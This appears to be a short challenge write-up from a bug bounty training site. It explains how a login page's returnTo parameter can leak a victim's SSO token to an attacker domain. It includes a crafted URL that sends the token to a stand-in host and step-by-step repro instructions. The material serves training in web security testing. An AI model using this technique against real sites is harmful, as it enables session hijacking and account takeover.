BugBountyHunter

After logging in you will notice two cookies are set: userinfo and sso. SSO is set for less time than userinfo.

Delete the cookie sso and revisit https://www.bugbountytraining.com/challenges/loginchallenge and you'll notice it redirects back to dietplan.php with &sso= appended. Seems interesting, right?

So you've discovered after the SSO token has expired, revisiting the login page will set it again. But how do we leak it?

ALWAYS test common keywords on register/login pages such as return_url, returnTo, returnUrl, return, goto as they are more than likely going to do something. In this case, revisiting https://www.bugbountytraining.com/challenges/loginchallenge?returnTo=.mysite.com/?c= will result in the users SSO token being leaked to your domain.

Repo steps:

1. Login using admin:test
2. Delete SSO token (naturally expires after 1 hour)
3. Send victim to https://www.bugbountytraining.com/challenges/loginchallenge?returnTo=.mysite.com/?c= and if they are logged in (userinfo set), it will leak their sso token to your website!